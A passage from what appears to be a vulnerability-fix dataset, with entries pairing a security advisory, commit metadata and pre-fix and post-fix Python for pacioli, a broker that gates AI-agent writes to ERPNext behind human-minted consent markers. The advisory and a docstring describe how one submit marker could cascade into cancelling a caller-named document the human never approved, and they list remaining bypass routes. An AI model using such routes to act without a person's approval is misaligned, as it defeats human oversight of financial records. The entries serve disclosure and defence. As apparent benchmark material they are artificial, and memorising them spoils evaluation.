`pacioli-guard` also does not see writes that set `flags.ignore_validate` or that skip the document lifecycle entirely (raw SQL, `db_update`/`db_set` field writes); those residuals are published in the project's own documentation and are unchanged by this advisory.\n\n### Credit\n\nFound by an internal adversarial review on 2026-07-28 that traced the predicate against frappe 16.28.0 and ERPNext v16 source rather than the project's own documentation. The prior code comment asserted that no such lever was known; that assertion had been written without the corresponding source sweep."
+commit = "f3c7219f5dde6050bd7921e0ac55afd02771250c"
+cwe = "CWE-863"
+family = "access_control"
+function = "build_parser"
+function_lines = [[1543, 1735]]
+id = "john-broadway-pacioli-9f19515916d1f37b"
+language = "python"
+method = "fix_site"
+parent = "3262d87a88df3a463501b1ca767472c7f42337da"
+path = "broker/pacioli/cli.py"
+post_fix = "def build_parser():\n p = argparse.ArgumentParser(\n prog=\"pacioli\",\n description=\"Pacioli Broker — governed ERPNext writes. This CLI is the HUMAN side: \"\n \"the merchant's hand (mint consent) and the trial balance (verify the \"\n \"books). The agent-facing MCP server is `pacioli serve`.\")\n p.add_argument(\"--version\", action=\"version\", version=f\"pacioli {__version__}\")\n sub = p.add_subparsers(dest=\"command\", required=True)\n\n m = sub.add_parser(\"mint\", help=\"mint a single-use consent marker for a recorded plan\")\n m.add_argument(\"plan_id\", help=\"the plan_id the agent returned from plan_submit\")\n m.add_argument(\"--target\", help=\"registry target (default: the registry default)\")\n m.add_argument(\"--ttl\", type=int, default=900, help=\"seconds the marker stays live (default 900)\")\n\n v = sub.add_parser(\"verify\", help=\"the trial balance: verify a target's PROVE receipt chain \"\n \"(don't go to sleep until the debits equal the credits)\")\n v.add_argument(\"--target\")\n v.add_argument(\"--expected-head\", help=\"off-box-recorded head hmac (catches truncation/wipe)\")\n\n o = sub.add_parser(\"orphans\", help=\"list intent receipts with no committed outcome — \"\n \"a debit with no credit; reconcile each against the \"\n \"real docstatus\")\n o.add_argument(\"--target\")\n\n cl = sub.add_parser(\"close\", help=\"the close: a period statement — every governed act, \"\n \"balanced or confessed, on a verified chain (the proof made \"\n \"readable). Attests only to what passed \"\n \"through Pacioli — not the whole ledger\")\n cl.add_argument(\"--target\")\n cl.add_argument(\"--since\", help=\"lower bound, inclusive (default: genesis). With a registry \"\n \"site_tz declared, bounds mean SITE time (the books' own \"\n \"calendar), converted once at this boundary; without one, the \"\n \"statement windows receipts by Pacioli's UTC clock while \"\n \"--reconcile windows GL rows by ERPNext's server CREATION \"\n \"clock — the same string, two clocks (declare site_tz to \"\n \"align them)\")\n cl.add_argument(\"--until\", help=\"upper bound, inclusive (default: now). A bare date covers the \"\n \"whole day (in site time when site_tz is declared). For \"\n \"--reconcile, see its note on backdated postings\")\n cl.add_argument(\"--expected-head\", help=\"off-box-recorded head hmac — unbalances the statement \"\n \"if the live head disagrees (truncation/wipe)\")\n cl.add_argument(\"--json\", action=\"store_true\", dest=\"as_json\",\n help=\"emit the structured statement instead of the rendered document\")\n cl.add_argument(\"--reconcile\", action=\"store_true\",\n help=\"ALSO run the Close's Half 2 (the Reconciliation): join the Statement \"\n \"against a live ERPNext GL Entry sweep for the same period and classify \"\n \"every voucher governed / ungoverned / second-generation. Requires a \"\n \"company-pinned target and both --since/--until. The sweep windows GL rows \"\n \"by CREATION time (when a row was actually written) — so to catch a \"\n \"posting BACKDATED into a closed period, set --until past the period-end \"\n \"(e.g. to now), not to the period's last posting date\")\n cl.add_argument(\"--respond\", action=\"store_true\",\n help=\"ALSO run the Close's Half 3 (response-to-gap): apply the operator's \"\n \"posture and response envelope to the findings and emit the reaction \"\n \"(record / alert / attestation-gate / CONTAIN). Over a statement alone it \"\n \"responds to orphans/unconfirmed at the default mixed-door posture; add \"\n \"--reconcile to also weigh ungoverned/second-generation movement. Exit is \"\n \"non-zero when any finding rises above 'record'\")\n cl.add_argument(\"--envelope\", action=\"append\", metavar=\"CLASS=LEVEL\",\n help=\"escalate one finding class's response floor for --respond (repeatable), \"\n \"e.g. --envelope orphan=contain. CLASS: orphan|unconfirmed|\"\n \"second_generation|blind_read|adverse_posture|ungoverned. LEVEL: \"\n \"record|alert|attestation_gate|contain. Only ESCALATES above a class's \"\n \"deny-biased floor, never silences below it. Only meaningful with \"\n \"--respond (present without it is a usage error, exit 2). Reaching \"\n \"'contain' seals the broker itself (source=response) — for every class \"\n \"listed here, CONTAIN is never a default, only ever this explicit \"\n \"opt-in. (Since broker 0.22.0: 'chain_broken' — Pacioli's own receipt \"\n \"chain failing to verify — is the one exception; it is not a CLASS \"\n \"accepted here, its floor is 'contain' unconditionally, and it can reach \"\n \"seal_required on a plain --respond with no --envelope at all. It does \"\n \"NOT fire on an off-box anchor mismatch alone — that naive check was \"\n \"dropped 2026-07-15; use `pacioli anchor check`/`seal-status --anchor` \"\n \"for count-aware receipt-rollback detection)\")\n cl.add_argument(\"--advance\", action=\"store_true\",\n help=\"ALSO write the close record (the period-loop cursor + attestation gate) \"\n \"after the render. Requires --respond (a usage error, exit 2, without it). \"\n \"--since defaults from the verified cursor when omitted (the next close \"\n \"covers only new activity), unless no close has ever been recorded. \"\n \"Refuses the write (exit 1) — never the read above it — when a prior close \"\n \"closed over a gap awaiting attestation (`pacioli attest` clears it) or the \"\n \"close-record history itself fails integrity verification. Plain close/\"\n \"close --respond (no --advance) write nothing to the close-record table\")\n\n a = sub.add_parser(\"anchor\", help=\"record/check the off-box head pin that makes PROVE \"\n \"(and, since 0.21.0, the seal history) tamper-evident \"\n \"against truncation since the last pin\")\n asub = a.add_subparsers(dest=\"anchor_command\", required=True)\n aw = asub.add_parser(\"write\", help=\"emit the current chain head (and seal head/count) as \"\n \"an anchor record. This tool cannot make the pin \"\n \"off-box — YOU carry it off this host (another machine, \"\n \"a git remote, paper)\")\n aw.add_argument(\"--target\")\n aw.add_argument(\"--out\", default=\"-\",\n help=\"where to write the record; '-' = stdout (default). A file on this \"\n \"host is NOT off-box — move it off this machine yourself\")\n ac = asub.add_parser(\"check\", help=\"verify the live chain (and, for a v2 pin, the seal \"\n \"history) against a previously recorded anchor; exit 0 \"\n \"only if every applicable check holds\")\n ac.add_argument(\"--in\", dest=\"infile\", required=True,\n help=\"path to the recorded anchor, or '-' for stdin\")\n ac.add_argument(\"--target\")\n\n d = sub.add_parser(\"doctor\", help=\"the inventory: read-only config & readiness checks (is \"\n \"this install actually ready, as the right principal?)\")\n d.add_argument(\"--target\", help=\"check one registry target (default: all)\")\n d.add_argument(\"--offline\", action=\"store_true\",\n help=\"skip the live bench probe (config checks only)\")\n d.add_argument(\"--receipt\", action=\"store_true\",\n help=\"render the run as one pasteable artifact, with hostnames, addresses, \"\n \"user identifiers and credential paths removed. Nothing is transmitted — \"\n \"sharing it is your decision\")\n\n se = sub.add_parser(\"seal\", help=\"operator CONTAIN: seal the broker — every governed write \"\n \"(including mint) is refused until `pacioli unseal`. A \"\n \"confession without a reason is not an entry\")\n se.add_argument(\"--reason\", required=True, help=\"why you are sealing (required)\")\n se.add_argument(\"--target\")\n\n un = sub.add_parser(\"unseal\", help=\"clear the seal: append an unseal event, resuming \"\n \"governed writes (never automatic — always the human's \"\n \"hand)\")\n un.add_argument(\"--reason\", required=True, help=\"why you are unsealing (required)\")\n un.add_argument(\"--target\")\n\n sst = sub.add_parser(\"seal-status\", help=\"read-only: is this broker sealed right now? exit \"\n \"2 if sealed, 0 if not (scriptable) — renders even a \"\n \"fail-closed (zero-row/gap/unverifiable) history \"\n \"rather than crashing on it\")\n sst.add_argument(\"--target\")\n sst.add_argument(\"--json\", action=\"store_true\", dest=\"as_json\",\n help=\"emit the structured state + recent-events tail instead of the \"\n \"rendered text\")\n sst.add_argument(\"--anchor\", default=None,\n help=\"path to a recorded `pacioli anchor write` pin (or '-' for stdin), \"\n \"since 0.21.0: threads its seal_head/seal_count into the read so a \"\n \"tail-rollback against the OFF-BOX pin renders SEALED here too, not \"\n \"only via `pacioli anchor check`. A v1 pin (predates seal anchoring) \"\n \"warns and renders the on-box state instead. Audit-time DETECTION, \"\n \"gated by your own check cadence — not real-time prevention\")\n\n at = sub.add_parser(\"attest\", help=\"operator ceremony: attest a gapped close, clearing the \"\n \"attestation gate so the next `close --advance` can \"\n \"proceed. A confession without a reason is not an entry. \"\n \"Refuses (exit 2) when nothing gapped is currently \"\n \"pending — including when the gate is latched for an \"\n \"integrity failure attesting cannot repair\")\n at.add_argument(\"--reason\", required=True, help=\"why you are attesting (required)\")\n at.add_argument(\"--target\")\n at.add_argument(\"--seq\", type=int, default=None,\n help=\"the seq of the gapped close you reviewed (see `pacioli close-status`); \"\n \"when supplied it must equal the currently-pending gap or the attest \"\n \"refuses (exit 1) — an attest must describe the gap it actually clears\")\n\n cst = sub.add_parser(\"close-status\", help=\"read-only: the close-record cursor + \"\n \"attestation-gate state, plus a history tail. \"\n \"Exit 2 when LATCHED (any cause), 0 when open — \"\n \"scriptable, mirrors seal-status. Never gated: \"\n \"works in every state, including keyless and a \"\n \"fail-closed integrity failure\")\n cst.add_argument(\"--target\")\n cst.add_argument(\"--json\", action=\"store_true\", dest=\"as_json\",\n help=\"emit the gate-state dict + history tail instead of the rendered text\")\n\n sv = sub.add_parser(\"serve\", help=\"run the agent-facing server (MCP stdio by default; \"\n \"--http opts into MCP streamable HTTP, --a2a into the \"\n \"A2A door)\")\n door = sv.add_mutually_exclusive_group()\n door.add_argument(\"--http\", action=\"store_true\",\n help=\"serve MCP over streamable HTTP instead of stdio (OFF by default — \"\n \"a deliberate opt-in, the doors ruling)\")\n door.add_argument(\"--a2a\", action=\"store_true\",\n help=\"serve the A2A door (Agent2Agent JSON-RPC; agent card at \"\n \"/.well-known/agent-card.json) instead of stdio — OFF by default, \"\n \"a deliberate opt-in; needs pip install 'pacioli[a2a]'\")\n sv.add_argument(\"--bind\", default=\"127.0.0.1\",\n help=\"bind address (default 127.0.0.1; any non-loopback bind \"\n \"refuses to start without --auth)\")\n sv.add_argument(\"--port\", type=int, default=None,\n help=\"port (default: 8791 for --http, 8792 for --a2a)\")\n sv.add_argument(\"--auth\", default=None,\n help=\"bearer token BY REFERENCE — env:VAR or file:/path, never inline; \"\n \"required for any non-loopback bind, honored on loopback too\")\n sv.add_argument(\"--allowed-hosts\", default=None, dest=\"allowed_hosts\",\n help=\"in-door Host allowlist (comma-separated) for the DNS-rebind guard; \"\n \"default = the bind host + loopback forms. '*' disables the guard \"\n \"(only safe behind a Host-validating reverse proxy)\")\n\n kg = sub.add_parser(\"a2a-keygen\",\n help=\"mint an EC P-256 signing key for the A2A agent card (opt-in card \"\n \"signing; point PACIOLI_A2A_SIGNING_KEY_FILE at it)\")\n kg.add_argument(\"--out\", default=None,\n help=\"key file path (default $PACIOLI_STATE_DIR/a2a-signing.key); written \"\n \"0600, refuses to overwrite an existing key\")\n return p\n\n"
+pre_fix = "def build_parser():\n p = argparse.ArgumentParser(\n prog=\"pacioli\",\n description=\"Pacioli Broker — governed ERPNext writes. This CLI is the HUMAN side: \"\n \"the merchant's hand (mint consent) and the trial balance (verify the \"\n \"books). The agent-facing MCP server is `pacioli serve`.\")\n p.add_argument(\"--version\", action=\"version\", version=f\"pacioli {__version__}\")\n sub = p.add_subparsers(dest=\"command\", required=True)\n\n m = sub.add_parser(\"mint\", help=\"mint a single-use consent marker for a recorded plan\")\n m.add_argument(\"plan_id\", help=\"the plan_id the agent returned from plan_submit\")\n m.add_argument(\"--target\", help=\"registry target (default: the registry default)\")\n m.add_argument(\"--ttl\", type=int, default=900, help=\"seconds the marker stays live (default 900)\")\n\n v = sub.add_parser(\"verify\", help=\"the trial balance: verify a target's PROVE receipt chain \"\n \"(don't go to sleep until the debits equal the credits)\")\n v.add_argument(\"--target\")\n v.add_argument(\"--expected-head\", help=\"off-box-recorded head hmac (catches truncation/wipe)\")\n\n o = sub.add_parser(\"orphans\", help=\"list intent receipts with no committed outcome — \"\n \"a debit with no credit; reconcile each against the \"\n \"real docstatus\")\n o.add_argument(\"--target\")\n\n cl = sub.add_parser(\"close\", help=\"the close: a period statement — every governed act, \"\n \"balanced or confessed, on a verified chain (the proof made \"\n \"readable). Attests only to what passed \"\n \"through Pacioli — not the whole ledger\")\n cl.add_argument(\"--target\")\n cl.add_argument(\"--since\", help=\"lower bound, inclusive (default: genesis). With a registry \"\n \"site_tz declared, bounds mean SITE time (the books' own \"\n \"calendar), converted once at this boundary; without one, the \"\n \"statement windows receipts by Pacioli's UTC clock while \"\n \"--reconcile windows GL rows by ERPNext's server CREATION \"\n \"clock — the same string, two clocks (declare site_tz to \"\n \"align them)\")\n cl.add_argument(\"--until\", help=\"upper bound, inclusive (default: now). A bare date covers the \"\n \"whole day (in site time when site_tz is declared). For \"\n \"--reconcile, see its note on backdated postings\")\n cl.add_argument(\"--expected-head\", help=\"off-box-recorded head hmac — unbalances the statement \"\n \"if the live head disagrees (truncation/wipe)\")\n cl.add_argument(\"--json\", action=\"store_true\", dest=\"as_json\",\n help=\"emit the structured statement instead of the rendered document\")\n cl.add_argument(\"--reconcile\", action=\"store_true\",\n help=\"ALSO run the Close's Half 2 (the Reconciliation): join the Statement \"\n \"against a live ERPNext GL Entry sweep for the same period and classify \"\n \"every voucher governed / ungoverned / second-generation. Requires a \"\n \"company-pinned target and both --since/--until. The sweep windows GL rows \"\n \"by CREATION time (when a row was actually written) — so to catch a \"\n \"posting BACKDATED into a closed period, set --until past the period-end \"\n \"(e.g. to now), not to the period's last posting date\")\n cl.add_argument(\"--respond\", action=\"store_true\",\n help=\"ALSO run the Close's Half 3 (response-to-gap): apply the operator's \"\n \"posture and response envelope to the findings and emit the reaction \"\n \"(record / alert / attestation-gate / CONTAIN). Over a statement alone it \"\n \"responds to orphans/unconfirmed at the default mixed-door posture; add \"\n \"--reconcile to also weigh ungoverned/second-generation movement. Exit is \"\n \"non-zero when any finding rises above 'record'\")\n cl.add_argument(\"--envelope\", action=\"append\", metavar=\"CLASS=LEVEL\",\n help=\"escalate one finding class's response floor for --respond (repeatable), \"\n \"e.g. --envelope orphan=contain. CLASS: orphan|unconfirmed|\"\n \"second_generation|blind_read|adverse_posture|ungoverned. LEVEL: \"\n \"record|alert|attestation_gate|contain. Only ESCALATES above a class's \"\n \"deny-biased floor, never silences below it. Only meaningful with \"\n \"--respond (present without it is a usage error, exit 2). Reaching \"\n \"'contain' seals the broker itself (source=response) — for every class \"\n \"listed here, CONTAIN is never a default, only ever this explicit \"\n \"opt-in. (Since broker 0.22.0: 'chain_broken' — Pacioli's own receipt \"\n \"chain failing to verify — is the one exception; it is not a CLASS \"\n \"accepted here, its floor is 'contain' unconditionally, and it can reach \"\n \"seal_required on a plain --respond with no --envelope at all. It does \"\n \"NOT fire on an off-box anchor mismatch alone — that naive check was \"\n \"dropped 2026-07-15; use `pacioli anchor check`/`seal-status --anchor` \"\n \"for count-aware receipt-rollback detection)\")\n cl.add_argument(\"--advance\", action=\"store_true\",\n help=\"ALSO write the close record (the period-loop cursor + attestation gate) \"\n \"after the render. Requires --respond (a usage error, exit 2, without it). \"\n \"--since defaults from the verified cursor when omitted (the next close \"\n \"covers only new activity), unless no close has ever been recorded. \"\n \"Refuses the write (exit 1) — never the read above it — when a prior close \"\n \"closed over a gap awaiting attestation (`pacioli attest` clears it) or the \"\n \"close-record history itself fails integrity verification. Plain close/\"\n \"close --respond (no --advance) write nothing to the close-record table\")\n\n a = sub.add_parser(\"anchor\", help=\"record/check the off-box head pin that makes PROVE \"\n \"(and, since 0.21.0, the seal history) tamper-evident \"\n \"against truncation since the last pin\")\n asub = a.add_subparsers(dest=\"anchor_command\", required=True)\n aw = asub.add_parser(\"write\", help=\"emit the current chain head (and seal head/count) as \"\n \"an anchor record. This tool cannot make the pin \"\n \"off-box — YOU carry it off this host (another machine, \"\n \"a git remote, paper)\")\n aw.add_argument(\"--target\")\n aw.add_argument(\"--out\", default=\"-\",\n help=\"where to write the record; '-' = stdout (default). A file on this \"\n \"host is NOT off-box — move it off this machine yourself\")\n ac = asub.add_parser(\"check\", help=\"verify the live chain (and, for a v2 pin, the seal \"\n \"history) against a previously recorded anchor; exit 0 \"\n \"only if every applicable check holds\")\n ac.add_argument(\"--in\", dest=\"infile\", required=True,\n help=\"path to the recorded anchor, or '-' for stdin\")\n ac.add_argument(\"--target\")\n\n d = sub.add_parser(\"doctor\", help=\"the inventory: read-only config & readiness checks (is \"\n \"this install actually ready, as the right principal?)\")\n d.add_argument(\"--target\", help=\"check one registry target (default: all)\")\n d.add_argument(\"--offline\", action=\"store_true\",\n help=\"skip the live bench probe (config checks only)\")\n\n se = sub.add_parser(\"seal\", help=\"operator CONTAIN: seal the broker — every governed write \"\n \"(including mint) is refused until `pacioli unseal`. A \"\n \"confession without a reason is not an entry\")\n se.add_argument(\"--reason\", required=True, help=\"why you are sealing (required)\")\n se.add_argument(\"--target\")\n\n un = sub.add_parser(\"unseal\", help=\"clear the seal: append an unseal event, resuming \"\n \"governed writes (never automatic — always the human's \"\n \"hand)\")\n un.add_argument(\"--reason\", required=True, help=\"why you are unsealing (required)\")\n un.add_argument(\"--target\")\n\n sst = sub.add_parser(\"seal-status\", help=\"read-only: is this broker sealed right now? exit \"\n \"2 if sealed, 0 if not (scriptable) — renders even a \"\n \"fail-closed (zero-row/gap/unverifiable) history \"\n \"rather than crashing on it\")\n sst.add_argument(\"--target\")\n sst.add_argument(\"--json\", action=\"store_true\", dest=\"as_json\",\n help=\"emit the structured state + recent-events tail instead of the \"\n \"rendered text\")\n sst.add_argument(\"--anchor\", default=None,\n help=\"path to a recorded `pacioli anchor write` pin (or '-' for stdin), \"\n \"since 0.21.0: threads its seal_head/seal_count into the read so a \"\n \"tail-rollback against the OFF-BOX pin renders SEALED here too, not \"\n \"only via `pacioli anchor check`. A v1 pin (predates seal anchoring) \"\n \"warns and renders the on-box state instead. Audit-time DETECTION, \"\n \"gated by your own check cadence — not real-time prevention\")\n\n at = sub.add_parser(\"attest\", help=\"operator ceremony: attest a gapped close, clearing the \"\n \"attestation gate so the next `close --advance` can \"\n \"proceed. A confession without a reason is not an entry. \"\n \"Refuses (exit 2) when nothing gapped is currently \"\n \"pending — including when the gate is latched for an \"\n \"integrity failure attesting cannot repair\")\n at.add_argument(\"--reason\", required=True, help=\"why you are attesting (required)\")\n at.add_argument(\"--target\")\n at.add_argument(\"--seq\", type=int, default=None,\n help=\"the seq of the gapped close you reviewed (see `pacioli close-status`); \"\n \"when supplied it must equal the currently-pending gap or the attest \"\n \"refuses (exit 1) — an attest must describe the gap it actually clears\")\n\n cst = sub.add_parser(\"close-status\", help=\"read-only: the close-record cursor + \"\n \"attestation-gate state, plus a history tail. \"\n \"Exit 2 when LATCHED (any cause), 0 when open — \"\n \"scriptable, mirrors seal-status. Never gated: \"\n \"works in every state, including keyless and a \"\n \"fail-closed integrity failure\")\n cst.add_argument(\"--target\")\n cst.add_argument(\"--json\", action=\"store_true\", dest=\"as_json\",\n help=\"emit the gate-state dict + history tail instead of the rendered text\")\n\n sv = sub.add_parser(\"serve\", help=\"run the agent-facing server (MCP stdio by default; \"\n \"--http opts into MCP streamable HTTP, --a2a into the \"\n \"A2A door)\")\n door = sv.add_mutually_exclusive_group()\n door.add_argument(\"--http\", action=\"store_true\",\n help=\"serve MCP over streamable HTTP instead of stdio (OFF by default — \"\n \"a deliberate opt-in, the doors ruling)\")\n door.add_argument(\"--a2a\", action=\"store_true\",\n help=\"serve the A2A door (Agent2Agent JSON-RPC; agent card at \"\n \"/.well-known/agent-card.json) instead of stdio — OFF by default, \"\n \"a deliberate opt-in; needs pip install 'pacioli[a2a]'\")\n sv.add_argument(\"--bind\", default=\"127.0.0.1\",\n help=\"bind address (default 127.0.0.1; any non-loopback bind \"\n \"refuses to start without --auth)\")\n sv.add_argument(\"--port\", type=int, default=None,\n help=\"port (default: 8791 for --http, 8792 for --a2a)\")\n sv.add_argument(\"--auth\", default=None,\n help=\"bearer token BY REFERENCE — env:VAR or file:/path, never inline; \"\n \"required for any non-loopback bind, honored on loopback too\")\n sv.add_argument(\"--allowed-hosts\", default=None, dest=\"allowed_hosts\",\n help=\"in-door Host allowlist (comma-separated) for the DNS-rebind guard; \"\n \"default = the bind host + loopback forms. '*' disables the guard \"\n \"(only safe behind a Host-validating reverse proxy)\")\n\n kg = sub.add_parser(\"a2a-keygen\",\n help=\"mint an EC P-256 signing key for the A2A agent card (opt-in card \"\n \"signing; point PACIOLI_A2A_SIGNING_KEY_FILE at it)\")\n kg.add_argument(\"--out\", default=None,\n help=\"key file path (default $PACIOLI_STATE_DIR/a2a-signing.key); written \"\n \"0600, refuses to overwrite an existing key\")\n return p\n\n"
+repo = "john-broadway/pacioli"
+url = "https://github.com/john-broadway/pacioli.git"
+
+[[case]]
+advisory = "GHSA-3hj7-6vmj-h8v4"
+advisory_text = "pacioli: A submit consent marker licensed cancellation of caller-named pre-existing documents\n\n### Impact\n\n`pacioli-guard`'s document-layer consent gate requires a human-minted, single-use, document-bound and **act-bound** marker before a credential carrying `API Key Scope.require_consent` may submit or cancel a document. Because ERPNext performs further document writes as a consequence of a governed act, nested acts are allowed to \"ride\" the consent established by the enclosing act instead of needing a marker of their own.\n\nThe ride predicate returned `true` for **every** cancel, regardless of which act the enclosing marker authorised. Riding never reaches `consent_verdict`, which is where the marker-to-act binding is enforced. The result: any `Document.cancel()` performed inside an act that had established consent reached `docstatus = 2` with no marker, no act-binding check, no single-use spend, and **no denial audit row**.\n\nThis is reachable with the exact grant an operator is documented to give the broker, and the cancelled document's identity is caller-controlled:\n\n- `Sales Invoice.on_submit` (`sales_invoice.py:507`) calls `process_asset_depreciation()` unconditionally, reaching `depreciate_asset_on_sale` (`:1508-1516`).\n- That iterates the invoice's item rows and calls `frappe.get_doc(\"Asset\", d.asset)`. `Sales Invoice Item.asset` is a plain writable `Link` with no `read_only` and no `fetch_from`, so the caller supplies it in the request body. The validation that would constrain it sits behind `if d.is_fixed_asset:` (`:428-429`), a server-set field.\n- The chain reaches `depreciation.py:481` and then `asset_depreciation_schedule.py:215-217`, which calls `current_schedule.cancel()` on a `docstatus == 1`, submittable `Asset Depreciation Schedule` **through the document lifecycle** (only `should_not_cancel_depreciation_entries` is set, not `ignore_validate`, so `before_cancel` does fire and the ride is what admitted it).\n\nSo one marker authorising `submit Sales Invoice X` cancelled a submitted document the human was never shown and never approved. Cancelling such a document reverses its ledger effect.\n\nThe same shape exists behind wider grants, for example `Unreconcile Payment.on_submit` (`unreconcile_payment.py:59-64`), which walks a child table the caller fills and reaches `accounts/utils.py:857`/`:859` `gain_loss_je.cancel()` on submitted Journal Entries.\n\n### Who is affected\n\nOnly sites that had opted into consent gating: a credential must hold an `API Key Scope` with `require_consent` set. `pacioli-guard` is inert for principals without such a grant, and the credential-scoping floor (`auth_hooks`) is unaffected by this issue.\n\nThe document-layer consent gate was first published in 0.9.6, which is the only released version in the affected range.\n\n### Patches\n\nFixed in **0.10.0**. The ride now discriminates on the **enclosing act**: an undo may cascade into further undos, but a submit may not cascade into the cancellation of a document that already has a name, because that is an act a human could have been asked to approve. The custody stamp carries the act it was established for rather than a bare boolean, which is the state the vulnerable code lacked.\n\n**Upgrading changes behavior.** Any ERPNext flow where a submit cascades into a lifecycle cancel now requires a consent marker for that cancel as well as for the act itself. In ERPNext v16 that includes asset sale, partial-quantity asset sale, a credit note against an asset sale, Asset Repair capitalization, Asset Shift Allocation, Asset Value Adjustment, and `Unreconcile Payment`. To make that possible, the `X-Pacioli-Consent` header now accepts several markers separated by whitespace or commas; each remains bound to one document and one act, requires a different minter, and is spent exactly once.\n\n### Workarounds\n\nOn 0.9.6, remove `require_consent` from affected grants and rely on the credential-scoping floor alone, or scope governed credentials so they cannot submit documents whose controllers cancel other documents (for ERPNext slice-one, `Sales Invoice` with a populated item-row `asset` link is the known path). Neither is a substitute for upgrading.\n\n### Residual, stated\n\nUnder a governed **cancel**, a cascaded cancel of a pre-existing document still rides. That is load-bearing for undo (an ordinary invoice cancel makes ERPNext cancel the credit/debit notes and journals it generated, via `accounts_controller.py:2001-2005`) and cannot be narrowed without a signal that a cascaded cancel is a consequence of the enclosing document specifically. That justification does not describe everything the residual admits: at least one instance is caller-steered in the same shape as the issue fixed here, `Asset Repair.on_cancel` (`asset_repair.py:215-222`), which cancels a `Serial and Batch Bundle` named by a Link the caller fills in a child table. `pacioli-guard` also does not see writes that set `flags.ignore_validate` or that skip the document lifecycle entirely (raw SQL, `db_update`/`db_set` field writes); those residuals are published in the project's own documentation and are unchanged by this advisory.\n\n### Credit\n\nFound by an internal adversarial review on 2026-07-28 that traced the predicate against frappe 16.28.0 and ERPNext v16 source rather than the project's own documentation. The prior code comment asserted that no such lever was known; that assertion had been written without the corresponding source sweep."
+commit = "f3c7219f5dde6050bd7921e0ac55afd02771250c"
+cwe = "CWE-863"
+family = "access_control"
+function = "_may_ride"
+function_lines = [[238, 286]]
+id = "john-broadway-pacioli-b26b532c43a68565"
+language = "python"
+method = "fix_site"
+parent = "3262d87a88df3a463501b1ca767472c7f42337da"
+path = "guard/pacioli_guard/act.py"
+post_fix = "def _may_ride(doc, action, enclosing_act):\n \"\"\"May this act ride the consent established for the enclosing act it is a consequence of?\n\n One question decides both branches: **could a human have named this document when they minted\n the marker?** If yes, they could have been asked, so this act needs its own consent. If no, the\n act is a consequence and rides. The two branches differ only in which signal answers it.\n\n **SUBMIT — the document must have been CREATED by the act.** Riding on \"an enclosing governed\n act is in progress\" alone licensed pre-existing drafts the caller named in the request body:\n submitting a Sales Invoice with ``update_stock`` carries the item row's\n ``serial_and_batch_bundle`` LINK straight out of the body (``stock_controller.py:1069``), and\n ``serial_batch_bundle.py:441-449`` then does ``frappe.get_doc(\"Serial and Batch Bundle\",\n )`` and submits it.\n\n ``flags.in_insert`` was the signal for that until 0.10.0, and it was a PROXY that did not hold.\n It answers \"is ``Document.insert`` on the stack right now\", and frappe clears it at\n ``model/document.py:482``/``:507``, so ERPNext's ordinary ``doc.save()`` then ``doc.submit()``\n idiom arrives here with the flag FALSE on a document the act itself created — refusing it and\n aborting the whole governed act (``serial_batch_bundle.py:1166``/``:1172``,\n ``depreciation.py:245-249``). So creation is now RECORDED when it happens, by\n :func:`after_insert`, and ``in_insert`` is kept only as the single-call case it always covered\n correctly. See ``_CREATED_IN_ACT``.\n\n **CANCEL — the enclosing act must itself be a CANCEL.** A cancel is always of a document that\n already exists and already has a name, so \"was it created by the act\" cannot discriminate here\n and ``in_insert`` is structurally FALSE at every ``before_cancel`` frappe can produce\n (``Document._cancel`` at ``:1324-1326`` sets ``docstatus = 2`` and calls ``save()`` -> ``_save()``,\n and a document being cancelled has a name and is not ``__islocal``, so ``:571-572`` never\n delegates back to ``insert()``). Requiring it refused every cascaded cancel and took UNDO out\n with it — the 0.9.4 regression.\n\n What discriminates instead is the ENCLOSING act. An UNDO legitimately cascades into further\n undos: cancelling an invoice makes ERPNext cancel the documents it generated\n (``accounts_controller.py:2001-2005`` cancels the system-generated credit/debit notes, the\n exchange gain/loss journal and the common-party journal, all through the lifecycle). A SUBMIT\n cascading into a cancel is a different thing, and it was a real bypass:\n\n - ``Sales Invoice.on_submit`` (``sales_invoice.py:507``) -> ``process_asset_depreciation`` ->\n ``depreciate_asset_on_sale`` (``:1508-1516``), which iterates the item rows and does\n ``frappe.get_doc(\"Asset\", d.asset)`` on a BARE ``Link`` the caller supplies in the request\n body (no ``read_only``, no ``fetch_from``) -> ``depreciation.py:481`` ->\n ``asset_depreciation_schedule.py:215-217`` ``current_schedule.cancel()`` on a ``docstatus``\n 1 document, through the lifecycle (only ``should_not_cancel_depreciation_entries`` is set,\n NOT ``ignore_validate``, so ``before_cancel`` does fire).\n - ``Unreconcile Payment.on_submit`` (``unreconcile_payment.py:59-64``) walks a child table the\n caller fills and reaches ``accounts/utils.py:857``/``:859`` ``gain_loss_je.cancel()`` on\n submitted Journal Entries. Behind a wider grant than slice-one, but the same shape.\n\n In both, one ``submit`` marker cancelled a caller-named pre-existing document with no marker of\n its own, and ``consent_verdict``'s marker-to-act binding never ran because the ride path does\n not call it. Requiring the enclosing act to match closes it: those cancels now fall through to\n the marker check, which is correct, because the schedule and the journal DO have names a human\n could be asked to approve.\n\n **What this costs, stated, and it is not one flow.** Every ERPNext path where a submit cascades\n into a lifecycle cancel now needs a marker for that cancel as well as for the act itself:\n asset sale (``sales_invoice.py:507``), partial-quantity asset sale (``:505`` ->\n ``asset.py:1462`` -> ``:1480``), a credit note against an asset sale (``:1503-1505`` ->\n ``restore_asset`` -> ``depreciation.py:498-500``), Asset Repair capitalization\n (``asset_repair.py:202`` -> ``:210``), Asset Shift Allocation\n (``asset_shift_allocation.py:51-52``), Asset Value Adjustment\n (``asset_value_adjustment.py:181-184``) and ``Unreconcile Payment`` (``:59-64``). Fail-CLOSED,\n and named in the refusal message rather than silent.\n\n That remedy has to be PRESENTABLE, and in the first cut of this fix it was not:\n ``_presented_consent`` read a single header value and ``consent_verdict`` compared it against the\n record for the document in hand, so a request could satisfy at most ONE marker while\n ``pacioli mint`` issues a fresh random token per marker. The cost was therefore not a second\n marker, it was a hard block with no ordering that worked, and this docstring said otherwise for\n the length of one review. The consent header now carries several markers; each is still bound to\n one document and one act and is still spent once.\n\n **The prior version of this docstring said \"No such lever is known.\"** It was written without\n the sweep behind it and it was false; the levers above were in the shipped tree the whole time,\n found 2026-07-28 by reading erpnext v16 rather than this file. The candidate it named as the\n unwalked risk — frappe's own link-cancel machinery — turned out to be the SAFE one:\n ``cancel_all_linked_docs`` (``desk/form/linked_with.py:368``) is a flat loop, each cancel's frame\n pops before the next begins, so no enclosing write frame exists and every one of them falls\n through to the marker check.\n\n **Residual that remains, and it is not merely mechanical.** Under a governed CANCEL, a cascaded\n cancel of a PRE-EXISTING document still rides — the 0.9.3 predicate, restricted to one act. Most\n instances are the framework undoing its own 